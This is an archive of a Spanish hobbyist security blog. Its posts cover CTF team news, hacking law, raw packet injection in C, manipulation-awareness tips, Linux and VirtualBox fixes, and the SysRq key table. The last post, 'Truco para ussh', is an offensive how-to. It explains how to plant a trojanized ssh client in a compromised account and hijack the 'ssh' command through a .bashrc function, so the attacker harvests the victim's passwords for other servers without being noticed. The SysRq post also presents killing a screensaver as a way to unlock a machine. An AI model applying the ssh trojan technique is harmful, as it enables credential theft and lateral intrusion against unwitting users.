Cacharreadores

Nace el PHT

2011-07-17T09:45:00.003Z

Y no sé por cuánto tiempo ni a dónde llegaremos, pero el PHT (Piruletous Hacking Team) nació la semana pasada con el objetivo de ser 4 amigos a los que nos gusta la seguridad y presentarnos al segundo wargame de security by default.

Ibamos a participar, pasar un buen rato, aprender lo que se pudiera, etc... Y ACABAMOS SEXTOS!!! :O:O:O.

En fin, a ver si hacemos de esto del PHT algo más serio y nos empezamos a presentar a todos los wargame que podamos y seguir aprendiendo.

Por cierto, si tienen la posibilidad de unirse 3 o 4 personas y participar en uno se los recomiendo, altamente adictivo

Nueva comunidad de exploiting y reversing

2011-03-31T12:23:00.003Z

Muy buenas hackers, hoy toca entrada rapida.

A traves del blog de Chema me entero de que se ha creado una nueva comunidad dedicada al exploiting y reversing. Aun es muy joven pero le he estado echando un ojo y parece bastante seria.

Para mi es un punto a favor meterse en algo justo en sus inicios para asi poder tener mas oportunidad de participar y no empezar cuando una comunidad ya lleva años y es facil perderse, a mi me ha pasado con unas cuantas.

Otro punto a favor para mi es que por ahora los pocos papers que hay (aprovecha porque tienen muy buen aspecto) se enfocan a sistemas GNU/Linux :)

En fin, sin mas que añadir, recomentarte que te pases por la comunidad de overflowed minds

Saludos.

Los peligros de jugar en un patio ajeno sin permiso

2011-02-16T09:42:00.004Z

Bueno, hace tiempo que no escribía nada y ya tenía ganas de hacerlo, en estos últimos meses me he ido de mi isla a Madrid, estoy en un máster de seguridad, el de la UEM por si a alguien le interesa, y he empezado a trabajar en informatica64, así que ando muy muy atareado. He aprendido bastantes cosas, intentaré plasmar la mayoría en el blog, pero creo que me llevará tiempo.

Hoy quería hacer una entrada rápida para comentaros que desde el 23 de Diciembre de 2010 entraron en vigor nuevas leyes con respecto al mundo del hacking web, etc... Evidentemente no hay que tomar mis palabras al pié de la letra porque yo no soy abogado ni juez, y ya sabemos que en ese mundo una coma cambia la ley, pero estas nuevas modificaciones ponen a los que les gusta jugar en patios ajenos (para los que no me entiendan estoy haciendo un símil con hackear por curiosidad y para aprender en páginas webs que no son tuyas) en una situación muy delicada, parece ser que por utilizar los sistemas de un tercero de forma no consentida nos podría acarrear hasta 2 años de cárcel. Así que ojito en dónde juegas, que te puede salir el tiro por la culata.

Lo que me deja en duda es qué pasa con quien no hace nada pero señala, por ejemplo yo puedo llegar y decir "telepizza tiene más agujeros que un queso gruyere". Es el famoso caso del tío que no hace nada más que acercarse a una casa y decir "tiene esa ventana abierta, se podría entrar por ahí y robar."... que complicado es todo, a partir de ahora para aprender vas a necesitar coger máquinas virtuales y montarte el lab en tu casa, pero a mi nunca me llega a convencer todo esto, yo necesito ver las cosas "in the wild"...

Máquinas virtuales en servidores sin permisos

2010-09-05T13:03:00.000Z

Primero hay que descargar y compilar el emulador de CPUs Qemu en un servidor. Si hubiera algún problema de dependencias podemos consultar la entrada de instalar software limpiamente mediante GNU/Toast

wget http://download.savannah.gnu.org/releases/qemu/qemu-0.12.5.tar.gz

tar xzf qemu-0.12.5.tar.gz

cd qemu-0.12.5

./configure && make

A continuación obtenemos la ISO de instalación de algún sistema operativo. Creamos una imagen de disco y arrancamos el proceso de instalación.

wget http://archive.ubuntu.com/ubuntu/dists/lucid/main/installer-i386/current/images/netboot/mini.iso

qemu-img create -f qcow ubuntu.qcow 4G

nohup qemu --cdrom mini.iso -hda ubuntu.qcow -m 256 -boot d -vnc :1 &

Para realizar la instalación desde el cliente conectaremos con el servidor usando algún cliente de VNC

vinagre nombredelservidor:1

Al finalizar podemos arrancar el sistema instalado y volver a conectarnos con VNC

nohup qemu --cdrom mini.iso -hda ubuntu.qcow -m 256 -boot c -vnc :1 &

Acceso directo al driver de red

2010-05-12T14:10:00.002Z

Estoy con mi proyecto de fin de carrera en el que pretendo desarrollar un inyector de paquetes (sí otro más), así que investigo bastante en este tema. Esta entrada es para aquella gente que sabe de lo que hablo porque voy a sobreentender que se saben ya bastantes cosas de redes y de programación con sockets.

He estado investigando cómo conseguir llegar a inyectar lo que yo quiera en el cable de red, y con esto me refiero a que por el cable vaya una ristra de bytes tal cual yo la he definido, sin más cabeceras ni información añadida por ningún driver, ni SO y lo he logrado.

Como muchos saben en sistemas POSIX existe o podría existir la llamada al sistema socket(domain, type, protocol), que permite iniciar un socket para la comunicación por red. Siempre la he mirado con mucho recelo porque aunque me permite una gran flexibilidad, lo máximo que yo sabía de a dónde podía llegar es a actuar por encima del nivel de red, concretamente por encima de IP mediante SOCK_RAW.

Hoy he descubierto, después de mirar mucho código, de leer mucho man y buscar en internet, que se puede llegar mas lejos (como suponía) y he logrado acceder totalmente a la red.

En el man socket se especifica el domain AF_PACKET para acceder al bajo nivel, también se comenta consultar packet(7). Ese es el dominio que hace falta para acceder a bajo nivel, en el siguiente man nos comentan que existe un type SOCK_RAW que nos permite acceder al driver ¡sin que este añada cabeceras de ningún tipo!. Pero no todo está hecho, hay que aprender a usar todo esto. El siguiente codigo es un ejemplo:

#include
#include
#include
#include
#include

#include
#include
#include

#include
#include
#include

int main(int argc, char *argv[]) {
char *buf = "Hola\0";
int fd, c;
struct ifreq ifr;
struct sockaddr_ll sa;

fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (fd < 0) {
fprintf(stderr, "socket fail\n");
exit(-1);
}

memset(&ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, "eth0", strlen("eth0"));
if (ioctl(fd, SIOCGIFINDEX, &ifr) < 0) {
fprintf(stderr, "ioctl fail\n");
exit(-1);
}

sa.sll_family = AF_PACKET;
sa.sll_ifindex = ifr.ifr_ifindex;
sa.sll_protocol = htons(ETH_P_ALL);
c = sendto(fd, buf, strlen(buf), 0, (struct sockaddr *)&sa, sizeof(sa));
if (c < 0) {
fprintf (stderr, "write fail\n");
exit(-1);
}

exit(0);
}

Primero hay que abrir el socket con las características especificadas, luego nos tenemos que enterar mediante el uso de ioctl cual es el index de la interfaz que queremos usar (eth0 en este caso). Ese número es el identificador de interfaces que ha reconocido el SO, piensen que al abrir el socket no se le especifica en ningún lado en que tarjeta debería escribir y leer, de hecho es independiente del socket. Eso se especifica en cada lectura y cada escritura como vemos en la llamada a sendto. Se ha preparado una estructura struct sockaddr_ll (ya conocen los struct sockaddr, este es el _ll link layer ;), en el campo sll_ifindex que averiguamos previamente con ioctl.

Evidentemente sobra decir que para que ese código funcione hay que ejecutarlo con permisos de root o, como documenta el manual, con CAP_NET_RAW.

Pues eso, así es como se inyecta directamente y sin pasar por bibliotecas como libnet, sino yendo directamente a los servicios del SO.

Happy hacking!

Acerca de la manipulación

2010-03-26T21:04:00.004Z

Un día me encontré con un blog dónde se mencionaban algunas de las técnicas de manipulación que son utilizadas deliberadamente en el mundo laboral. Dichas técnicas no son infalibles pero al aplicarlas adecuadamente incrementan la probabilidad de que una persona realice un determinado comportamiento.

Dejo algunas anotaciones que podrían ser de ayuda para evitar verse involucrado en situaciones indeseables.

Principios en los que se basa la manipulación

Reciprocidad: Tendencia a devolver los favores recibidos.
Coherencia: Necesidad de mantener nuestras opiniones y actos en consonancia.
Prueba social: Imitar a los demás ante una situación desconocida.
Autoridad: Obedecer a personas que suponemos mas sabias o expertas.
Simpatía: Confiar en personas que nos caen bien.
Escasez o Rareza: Desear poseer algo que es escaso.

Algunas técnicas de manipulación

Parten de la tendencia que tiene la gente a mantener sus decisiones y la sensación de que estas son tomadas libremente.

Pie en la puerta: Nos piden algo que nos cuesta poco realizar antes de pedir lo que realmente quieren.
Puerta en las narices: Nos piden algo desorbitadamente costoso para inmediatamente después de negarnos pedirnos algo más razonable.
Contacto físico: Tocar en hombro el brazo de alguien al pedirle algo.
Temor seguido de alivio: Te ponen en una situación de miedo o estrés que resulta ser falsa. Al sentirte aliviado estarás predispuesto a ser generoso.
Mirar a los ojos: Mirar a los ojos de alguien antes de pedirle algo.
Pie en la boca: Muestran una preocupación por ti antes de pedirte algo.
Pie en la memoria: Te piden recordar una situación en la que no has hecho algo esperado para que no lo vuelvas a realizar en el futuro.
Eso no es todo: Te hacen ver que algo es bueno y que además viene con extras.
El etiquetado: Etiqueta especifica y relacionada con el acto esperado.
Es usted libre de: Te piden algo recalcando que eres libre de hacerlo o no.Vale más un poco que nada: Te recalcan que por poco que le ayudes será muy importante.

Cómo detectar a un manipulador

Isabelle Nazare-Aga señala que una persona manipuladora reunirá al menos diez de los siguientes puntos:

Culpabiliza a los demás en nombre del vínculo familiar, de la amistad, del amor, de la conciencia profesional, etc.
Traslada su responsabilidad a los demás o se desentiende de sus propias responsabilidades.
No comunica claramente sus demandas, necesidades, sentimientos y opiniones.
Responde muy a menudo de forma confusa.
Cambia de opinión, de comportamiento y de sentimientos según las personas o las situaciones.
Invoca razones lógicas para enmascarar sus demandas.
Hace creer a los demás que tienen que ser perfectos, que no deben cambiar nunca de opinión, que deben saberlo todo y responder inmediatamente a las demandas y preguntas.
Pone en duda las cualidades, la competencia y la personalidad de los demás; critica sin parecer que lo hace, desvaloriza y juzga.
Hace transmitir sus mensajes a otros o los comunica de forma indirecta (por teléfono en lugar de cara a cara, dejando notas escritas).
Siembra cizaña y suscita sospechas , divide para reinar mejor y puede provocar la ruptura de una pareja.
Sabe hacerse la víctima para que se le compadezca (enfermedad exagerada, entorno “difícil”, sobrecarga de trabajo, etc.).
Hace caso omiso de las demandas (aún cuando dice ocuparse de ellas).
Utiliza los principios morales de los demás para satisfacer sus necesidades (nociones de humanidad, caridad, racismo, “buena” o “mala” madre, etc.).
Amenaza de forma encubierta o hace un chantaje abierto.
Cambia radicalmente de tema en el transcurso de una conversación.
Elude o rehúye las entrevistas y las reuniones.
Cuenta con la ignorancia de los demás y hace creer en su superioridad.
Miente.
Falsea los hechos para averiguar la verdad, deforma e interpreta.
Es egocéntrico.
Puede ser celoso aunque se trate de un pariente o un cónyuge.
No soporta la crítica y niega la evidencia.
No tiene en cuenta los derechos, las necesidades y los deseos de los demás.
Espera frecuentemente hasta el último momento para pedir, ordenar o hacer actuar a los demás.
Su discurso parece lógico o coherente, cuando sus actitudes, sus actos o su forma de vivir responden al esquema opuesto.
Utiliza halagos para gustarnos, nos hace regalos o tiene muchas atenciones con nosotros.
Produce un estado de malestar o una sensación de falta de libertad (trampa).
Es absolutamente eficaz para lograr sus propios fines, pero a costa de los demás.
Nos induce a hacer cosas que probablemente no haríamos por voluntad propia.
Es constantemente objeto de conversación entre personas que lo conocen, aunque no se encuentre presente.

Cómo evitar ser manipulado

Saber de antemano hasta lo que se está dispuesto a hacer y lo que no.
Ser capaz de negarse en el momento oportuno por muy comprometidos que nos sintamos con alguien empleando técnicas asertivas si fuera necesario (Disco Rayado, Banco de Niebla, Pregunta Asertiva).
Aprender a replantearse nuestras decisiones reconociendo cuándo nos hemos equivocado.
Plantearse decisiones sucesivas como independientes unas de las otras de manera objetiva.
Analizar las presiones que a las que nos hemos visto sometidos al tomar una decisión.

Algunos libros

Pequeño tratado de manipulación para gente de bien
Manipulacion: La Perversidad Del Pequeño Poder
Wikipedia

Rootedcon

2010-03-22T09:00:00.002Z

Bueno, pues ya termino la primera rootedcon, dos de los autores de este blog (arreche y yo, ole) fuimos para alla... ¿que decir?, que ya estamos ansiosos de la rootedcon el año que viene y que estamos esperando que suban todo el material alli visto para estudiarlo :)

Gracias a los organizadores por currarselo y en especial a PatoWC. A los ponentes por compartir sus conocimientos (bueno, a Chema no, que no libera la foca xD). Y a los asistentes, se lleno al completo, lo que quiere decir que tuvo muy buena aceptacion y que el año que viene tendran que aumentar el aforo para que quepan mas personas.

Grupos de trabajo

2010-03-03T15:41:00.003Z

Buenas a todos,

Bueno, dos de los autores de este blog (arreche y yo) nos vamos a ir a la rootedcon :), asi que ultimamente estamos - como dice arreche - "repasando al menos los conceptos basicos" xD. Y como ha resultado que las vulnerabilidades mas comunes de 2009 fueron XSS (Cross-Site Scripting) y SQL Injection pues las estamos repasando (y aprendiendo) un poco.

El otro dia quedamos y "repasamos" ¿no aythami? y desde luego que aprendimos cosillas (y los que nos queda aun ¿no aythami? xD). No comentare sobre donde estuvimos haciendo pruebas, aun estamos nosotros y ese es nuestro campo de batalla, pero si les dare un consejo, ¿te gusta la seguridad? pues intenta buscar algun amigo al que tambien le guste, el estudio de estas cosas entre dos personas (o mas, pero no muchas mas) tiene muchas ventajas:

- Cada uno da sus aproximaciones y todos las aprenden
- Cada uno conoce es mas o menos ducho en ciertos temas y todos aprenden
- Realizar ataques muchas veces es un arte (y si estas haciendo Blind loquesea Injection mas aun), cada persona tiene un artista en potencia dentro y lo expresa de forma distinta a como lo expresaria otro.
- Conectar con alguien da energia y ganas de seguir intentando cosas
- Ser mas de uno el que se da de cabezazos contra una puerta cerrada (pero que sospechas que se puede abrir) hace que tengan mas energia para seguir dandole caña, si tu solo le dedicas una hora, tal vez con un compañero le hubieras dedicado 3.
- Aumenta la sociabilidad de los individuos.

No dire mucho de nuestros experimentos (tampoco es que sea nada del otro mundo), pero si me gustaria hacer una pequeña referencia... -- QUE TONTERIA Y CUANTO PODER!!! (no aythami? xDDD)

Happy hacking!

Problema con la BIOS de los Acer Aspire One

2010-03-01T13:59:00.004Z

Buenas a todos, esta entrada tratará sobre un par de problemas que se dan en los Acer Aspire One y cómo solucionarlos. Es más o menos fácil encontrar por ahí fuentes que nos digan cómo hacerlo, pero creo que nunca viene mal que haya más.

Todo surge de que mí Acer Aspire One (un netbook) de repente un día le dejó de funcionar la batería, sin saber por qué, ya no podía funcionar sin batería. Lo conectaba a la corriente y el sistema (en mi caso Ubuntu 9.10) decía que la batería estaba completa, pero como desactivara el cable se apagaba todo.

Resulta que esto es un problema con los Acer Aspire One AOA 150 con BIOS version 3305... mira tu por donde exactamente lo que tengo (bueno, tenía). Buscando por internet encuentras información de cómo actualizar para gente que usa windows, incluso el readme.txt que trae el driver bajado directamente de la web de Acer, tiene sólo instrucciones para windows, cosa que me jode mucho porque este netbook me lo compré con linpus linux pero bueno... A saber, los pasos a seguir son:

1- Descargar la nueva imagen de BIOS desde la página oficial (desconfía de cualquier cosa que no venga directamente de la empresa original... y también habría que desconfiar un poco de ésta última). Netbook > Aspire One > AOA150. Una vez seleccionado, aparecerá abajo los drivers del hardware para windows XP, ¡vaya mierda, nada para GNU/Linux!, le damos a la pestaña de "BIOS" y nos bajamos el archivo. En el momento de escribir ésto, la versión era la 3310. El modelo de netbook (AOA150) lo puedes ver, o en la descripción que aparece cuando accedemos a la BIOS o en una pegatina blanca en la parte de abajo del netbook donde viene el código de barras, el número de serie y el SNID, algo como "MFG.DATE..."

2- Formatear un pendrive en FAT. Cuando yo leo acerca de ésto siempre me surge la duda de a qué formato se referirán en concreto. Hablando claro (u oscuro según lo que sepa el lector), según fdisk, formato W95 FAT32 (LBA), éste es el que usé yo, supongo que W95 FAT32 también vale, para los que no tengan fdisk a mano... identificador de formato de partición número 0xc (LBA) o 0xb (sin nada). Yo ya tenía mi pen en ese formato y con cosas dentro... las borré para asegurarme de que no interferían en el proceso, pero a lo mejor no hace falta.

3- Descomprimimos el .zip que nos bajamos en el paso 1 en el pendrive. Ojo, según el programa que usemos para descomprimir nos creará una carpeta con todo el contenido dentro o no. Lo que tiene que contener el pendrive a partir de su raíz son unos cuantos ficheros (Dos_Flash, 3310.fd, Ding.wav, etc...)

4- Cambiamos el nombre del fichero 3310.fd a ZG5IA32.fd. En principio da igual que versión de BIOS sea, yo la información ésta la encontré para actualizar a la versión 3304 y también era el mismo nombre, así que si vas a actualizar a alguna superior a la 3310... bueno, pase lo que pase no me hago responsable de nada, pero no creo que de problemas.

5- En el netbook apagado, ponemos el pendrive en el conector USB del lateral izquierdo, el que está al lado del conector de red. No te rías, no me lo he inventado, estaba especificado en donde leí todo ésto. He de decir que encontré otra página también con unos pasos muy parecidos y decía en cualquier USB... yo lo hice en ése porque ya lo tenía enchufado ahí, no creo que implique nada.

6- Pulsamos las teclas Fn + Esc y mientras las mantenemos pulsadas le damos al botón de encendido del netbook y seguimos manteniendo pulsadas Fn + Esc durante 2 segundos más. Lo de los 2 segundos lo pongo yo, hay que mantenerlas pulsadas algo de tiempo más pero lo pongo así para que si alguien lee esta guía no le vengan preguntas del tipo "¿¡PERO CUANTO TIEMPO MÁS!?" (yo también soy un paranoico con estas cosas). Veremos que la luz del botón empezará a parpadear y la pantalla se quedará en negro, sin problema, ya está actualizando, lo dejamos un tiempo (2 min? 5 min? no recuerdo en cuánto terminó el mío, pero más o menos eso) y automágicamente se reiniciará. Puedes entrar a la BIOS para comprobar que la versión ha cambiado.

NOTA: Si no se te actualizó la BIOS, no problem, a mi la primera vez tampoco lo hizo xD. Volví a intentarlo una segunda vez y arreglado. No me preguntes por qué.

NOTA 2: La actualización también arregla otro bug bastante cabrón que tenía esa BIOS. Cuando le ponías contraseña a la BIOS, automágicamente te cambiaba todas las minúsculas por mayúsculas. Así que si le ponías la contraseña "mama", para entrar tenías que teclear "MAMA", menuda gracia.

Happy hacking!

¡Comienza Javascript Jam Session!

2010-02-12T20:45:00.003Z

Se trata de un concurso en el que hay que programar una aplicación para la nueva versión del escritorio KDE. Entre los premios en juego hay un terminal Nokia N900, varios viajes a eventos de KDE y camisetas. Además todos los desarrolladores recibirán un certificado de participación

Para los que estén interesados recomiendo que lean el log de Training session realizadas en #plasma-training de irc.freenode.net por aseigo

El ataque de la señora de la limpieza

2010-01-03T16:08:00.005Z

Tal y como lo explican en el blog de dónde lo leí se trata de una combinación de teclas con la que se podría desbloquear un sistema GNU/Linux matando el proceso de salvapantallas.

Dicha combinación ejecuta una de las llamadas al kernel destinadas a la recuperación del sistema. Para llevarla a cabo debemos pulsar las teclas Alt + SysRq + f y entonces se matará aleatoriamente un proceso con el objetivo de liberar memoria.

La tecla SysRq puede ser localizada en la siguiente imagen.

El resto de llamadas puede verse en la siguiente tabla extraída de la Wikipedia. Para efectuar cualquier combinación debemos presionar las teclas Alt + SysRq + el carácter correspondiente a nuestra disposición de teclado.

Action	QWERTY	Dvorak	AZERTY
Set the console log level, which controls the types of kernel messages that are output to the console	0 through 9	0 through 9	0 through 9 (without using shift)
Immediately reboot the system, without unmounting partitions or syncing	b	x	b
Reboot kexec and output a crashdump	c	j	c
Display all currently held Locks	d	e	d
Send the SIGTERM signal to all processes except init (PID 1)	e	.	e
Call oom_kill, which kills a process to alleviate an OOM condition	f	u	f
When using Kernel Mode Setting, provides emergency support for switching back to the kernel's framebuffer console^[3]	g	i	g
Output a terse help document to the console Any key which is not bound to a command should also do the trick	h	d	h
Send the SIGKILL signal to all processes except init	i	c	i
Kill all processes on the current virtual console (Can be used to kill X and svgalib programs, see below) This was originally designed to imitate a Secure Access Key	k	t	k
Show a stack backtrace of all currently executing tasks	l	n	l
Output current memory information to the console	m	m	,
Reset the nice level of all high-priority and real-time tasks	n	b	n
Shut off the system	o	r	o
Output the current registers and flags to the console	p	l	p
Display all active high-resolution timers and clock sources.	q	'	a
Switch the keyboard from raw mode, the mode used by programs such as X11 and svgalib, to XLATE mode	r	p	r
Sync all mounted filesystems	s	o	s
Output a list of current tasks and their information to the console	t	y	t
Remount all mounted filesystems in read-only mode	u	g	u
Output Voyager SMP processor information	v	k	v
Display list of blocked (D state) tasks	w	,	z

Oscuros problemas

2009-11-17T19:44:00.003Z

Buenas hackers,

Hoy vengo con entrada rápida. Estas son el tipo de cosas que me gusta contar para que luego ustedes no se peguen 2 días para resolverlo (como me ha pasado a mí), sino 30 segundos.

Resulta que tras una larga cadena de cosas raras en mi sistema y tras la lectura de cientos de líneas de log y miles de código, me doy cuenta de que cierto driver al arrancar no puede crear un fichero que usan programas de esa suite como cerrojo con el mensaje de que el dispositivo esta lleno... todo sería lógico si no fuera porque el disco de donde tira estaba al 70%... unos 100 mb... así que o el cerrojo ese es jodidamente grande, o aquí pasa algo raro... bueno, sobra decir que lo que pasaba era lo raro jejeje. Después de pensarlo un tiempo lo que ocurría era que, efectivamente estaba lleno... pero no el dispositivo, ¡sino el sistema de ficheros que en él había!. Se había llegado al máximo número de inodes en ese sistema de ficheros debido a un proceso loco (el cuál ya esta correctamente diezmado) se había puesto a crear ficheros muy pequeños (ocupaban más metadatos que datos de hecho), pero en gran cantidad así que me lleno el número máximo de ficheros ocasionando el mensaje de que el dispositivo estaba lleno... solemos pensar que un dispositivo sólo se llena si se ocupa todo su espacio, de hecho es lo correcto, pero resulta que si se llena el sistema de ficheros, éste le echa la culpa al dispositivo, manda huevos.

Por cierto, que lo pueden comprobar con el comando stat (man stat), bastó con hacer un rm de los gordos dentro de la superpoblada carpeta y todo como la seda.

Moraleja, cuando te digan que algo está lleno preguntate qué cosas pueden llenar eso... en mí caso la inspiración me vino pensando en las quotas... existen para el espacio y para los inodes.

Otra cosa, no confundan inodes con número de ficheros, suele usarse indistintamente, pero realmente no son equivalentes (no hay relación biyectiva)... softlinks, hardlinks...

Happy hacking!

Hacer funcionar USB en VirtualBox sobre Ubuntu 9.04

2009-10-15T08:30:00.006Z

Buenos días hackers!

Hoy toca una guía rápida para lograr hacer funcionar tus dispositivos USB en una sistema operativo que está corriendo en una máquina virtual usando el software VirtualBox, a partir de ahora vbox, (ya saben, kubuntu virtualizado sobre ubuntu y cosas de esas... no estarás usando otro sistema, no?!?!).

¿Por alguna razón necesitas hacerlos funcionar y te has empapado montón de howto's por internet que dicen todos lo mismo y que la mayoría son para ubuntu 8.10 u 8.04?, deja de buscar, yo también sufrí lo mismo y conseguí, después de dejar de leer y con ese conocimiento adquirido y mirando un poco por dentro del sistema, hacer funcionar mi "penedrive de 512 centímetros" y sí, te voy a decir cómo.

Antes de empezar asumiré que no tienes instalado vbox, si lo tuvieras instalado desinstalalo con synaptic, apt-get, aptitude, dpkg... no me dentendré en esto, tal vez no sea necesario, pero yo describo mi situación y la que creo que funcionará.

Pongámonos en situación, lo primero que debes saber es que la versión OSE (Open Source Edition) no creo que sea software libre (open source sí, software libre no), lo segundo es que por desgracia esa versión que es la que aparece en los repositorios, no tiene soporte para USB. Muy listos los de Sun (Oracle?), te dejan el soporte en la versión que ni siquiera es open source. Bueno, debido a esto, te tienes que bajar una versión de VirtualBox que sí tenga soporte, en mi caso cuando redacté ésto, en la web de vbox ofrecían vbox 3.0.8. Otro detalle es que si estás corriendo nativamente un OS de 64 bits tienes que bajarte la versión "amd64", aunque tu procesador no sea un AMD64, hay una pequeña nota justo encima pero yo no la leí hasta que me baje la versión i386 y me escupió en la consola que me bajara la otra y que leyera las cabeceras jejeje.

Una vez tengas el paquete .deb, lo instalamos escribiendo en una consola:

sudo dpkg -i paquete.deb

Esto probablemente te diga que la instalación ha ido mal, es debido a las dependencias, vbox en sí mismo está instalado pero no lo podrás correr (no creo) porque te faltan ciertas bibliotecas, si has tenido otro vbox antes casi seguro que no te dice nada. Si te faltan las bibliotecas lee cuales son (dpkg te lo dice) e instalalas desde los respositorios:

sudo apt-get install paquetes

O con el synaptic o como más rabia te de (también voy a suponer que tienes los respositorios actualizados).

Ya tenemos vbox instalado, creamos una nueva máquina virtual, le metemos el sistema que queremos (no voy a describir cómo). Ahora, antes de arrancar ese sistema lo seleccionamos en la ventana principal de vbox y le damos al botón configuración de la parte superior. En la parte izquierda una de las opciones es USB, vamos allí y marcamos los checkbuttons de habilitar el controlador USB y el de habilitar USB 2.0. Aceptamos y hasta aquí es lo que en general solíamos encontrar en howto's para 9.04... para versiones anteriores de ubuntu había que ir al /etc/init.d/mountdevfs.sh, /etc/fstab y empezar a trastocar... bla bla bla. Lo que nos queda por un lado es añadir nuestro usuario al grupo vboxusers, yo lo hice con:

sudo vim /etc/group

Y buscando el grupo (probablemente el último) y añadiéndome al final:

vboxusers:x:124:nombre_usuario

AHORA VIENE EL TRUCO DE VERDAD, el que hace que todo funcione, resulta que aunque te añadas al grupo vboxusers, sólo el root tiene permisos para montar los USB, no lo he probado pero sería capaz de apostar a que si ejecutamos vbox con sudo o con gksu sí permitirá montarlos... pero eso es una chanada que no me gusta, vamos a cambiarlo. ¿Quién da acceso a los dispositivos? udev, entonces investiguemos... resulta que udev da esos permisos a vbox por lo descrito en el fichero /etc/udev/rules.d/10-vboxdrv.rules. Si lo abren, verán algo como:

KERNEL=="vboxdrv", NAME="vboxdrv", OWNER="root", GROUP="root", MODE="0600"
SUBSYSTEM=="usb_device", GROUP="vboxusers", MODE="0664"
SUBSYSTEM=="usb", ENV{DEVTYPE}=="usb_device", GROUP="vboxusers", MODE="0664"

Aquí está el problema, los subsistemas sí tienen permisos de lectura/escritura para el grupo vboxusers... pero y el driver?! el dueño es root y el grupo es root... y los permisos son 0600... incluso aunque tu usuario esté en el grupo root, no te iba a dejar detectar los dispositivos. Este es el motivo de que esté casi seguro de que si ejecutamos vbox con root, sí deje manipular los USB. Editémoslo y pongamos algo más coherente... como por ejemplo:

KERNEL=="vboxdrv", NAME="vboxdrv", OWNER="root", GROUP="vboxusers", MODE="0660"

De forma que el grupo ya no sea root, sino vboxusers y los permisos de grupos tengan lectura y escritura, así siempre que añadamos un usuario al grupo, podrá montar USB. He visto algunas soluciones (para 7.10) que comentaban que "poniendo MODE=0666 se soluciona!" pues claro! le estas dando permisos de lectura y escritura a todo el mundo... en el ordenador de tu casa está bien porque sólo lo usas tu... pero en otros entornos eso no es seguro.

En fín, espero haberles quitado un problema de encima y haberles hecho entender por qué esta solución funciona (no basta con solucionar el problema).

Happy Hacking!

Gnome title bar crash (it dissapear)

2009-08-11T08:03:00.003Z

Hi everybody,

Just a few weeks ago one day I switch on my PC with Ubuntu and realize that I had no title bar, this one that allows you to resize the window and minimize, close, etc... Moreover, I realize that I had no filemanager too.

I started to search for a solution surfing the internet but (amazingly) I realized that there were difficult to resolve my problem, I read a few articles speaking about gconf-editor, gnome-panel, metacity, nautilus, gnome-wm and more, but everything I read simply don't work for me.

Then I start to mix all the information gather and get a solution, I think it is not the best solution because I don't discover wich is exactly the problem, why it started and wich is it's solution but at least nowadays I don't get affected by it.

Just to avoid open a shell everytime I login and execute explicitly metacity and nautilus... System > Preferences > (Programs at startup | Applications at startup | Programas al inicio) and then we need to create two launchers one for the file manager... Create and in "Order, Command, Orden..." type /usr/bin/nautilus (or your prefered file manager). Again the same with the window manager, Create and in Order... /usr/bin/metacity.

I know it's not the best solution (or maybe yes but I cannot say it because I don't know the source of the problem really) but at least it work pretty well.

Sorry for mistakes, you know, I'm not english.

Conseguir el código fuente

2009-07-24T14:26:00.002Z

Hoy en la comida estaba hablando con arreche de lo propio, seguridad y cosas de esas y recordé que hacía unos pocos días quise bajarme el código fuente de login para verlo por dentro pero no lo pude encontrar. Arreche dió con la solución (y mira que era simple):

sudo apt-get source login

Evidentemente en login podemos poner lo que queramos bajarnos. Pues eso, ahí tienen la manera fácil de conseguir fuentes... y por cierto, login anda dentro del paquete "shadow".

Truco para ussh

2009-04-20T10:40:00.004Z

Ya comenté en la entrada anterior que nada en el mundo de la seguridad es infalible, que siempre se puede en última instancia coger los fuentes del programa más seguro del mundo y trastocarlos para que deje de serlo.

Ya enseñamos el otro día cómo modificar los fuentes de openssh-client para saber donde andaba la contraseña, hoy vamos a ver como engañar a una víctima para robarle las contraseñas que use para conectarse a otros servidores mediante ssh. El escenario es el siguiente:

De alguna forma u otra hemos conseguido colarnos en la cuenta de una víctima en el ordenador A. Como sabemos un mínimo "information gathering" miramos el fichero historial de comandos ejecutados por este usuario, en general .bash_history... este fichero es muy cómodo pero también compromete bastante ya que una vez se hayan colado en la cuenta, da muchísima información sobre el usuario víctima, con él podremos circunscribirnos únicamente a los programas que usa (los más comunes), no necesitamos hackear todos los programas del sistema (en principio). Además también podremos ver si se conecta por SSH a otros servers, cuáles son y con qué cuentas... ¡ANDA, ya tenemos cuentas válidas en otros servers!. Ahora podemos empezar un ataque por fuerza bruta o medianamente informado (diccionario, bla bla bla...). Pero eso no es interesante, lo guay es hacer truquillos para sacar esas contraseñas. El que a mi se me ha ocurrido es éste:

1- Ver que versión de ssh usa el sistema "ssh -V"
2- Bajarse los fuentes de esa versión
3- Modificarla como se comentó en el post anterior
4- Compilar nuestro ussh*
5- Esconder ussh dentro de la carpeta de la víctima (podemos ya que tenemos acceso).
6- Ahora hay que conseguir que cuando la víctima esté dentro de su cuenta comprometida ejecute nuestro ussh... Podemos ponerle un mensajito de inicio de que por favor lo haga... esto no dará demasiado resultado y es un poco cantoso, no? xDDDDDDDD. La forma que uso yo es la siguiente:

Modificar .bashrc para engañarle, de forma que la víctima escriba "ssh ...." pero no sea eso lo que se ejecuta. Básicamente vale con algo así:

ssh() {
if [[ -x path_a_ussh ]]; then
path_a_ussh $*
else
path_a_ssh $*
fi
}

Con poner esa pequeña función en .bashrc ya tendremos a la víctimas bastante comprometida y sin que se de demasiada cuenta. Es evidente que nos pueden pillar viendo que hay nuevos ficheros ocultos dentro de su cuenta y que .bashrc ha sido modificado... pero es bastante raro que estas acciones se lleven a cabo.

7- Dale permisos a ussh, si te olvidas no pasa nada porque la función lo contempla con el -x, pero si eres algo más rústico puedes acabar generando un mensaje de error por permisos y que enseña la ruta a ussh.

Simple, no? Con estos pocos pasos podemos sacar las tri-uplas usuario/servidor/contraseña que use la víctima... Yo he visto mucho por ahí usuarios que hacen root@localhost...

Realmente con estos trucos de alias y funciones en .bashrc se puede conseguir muchísimo juego, pero intentar (y lograr) sacar la contraseña de root de un sistema es el más peligroso y límite en mi opinión.

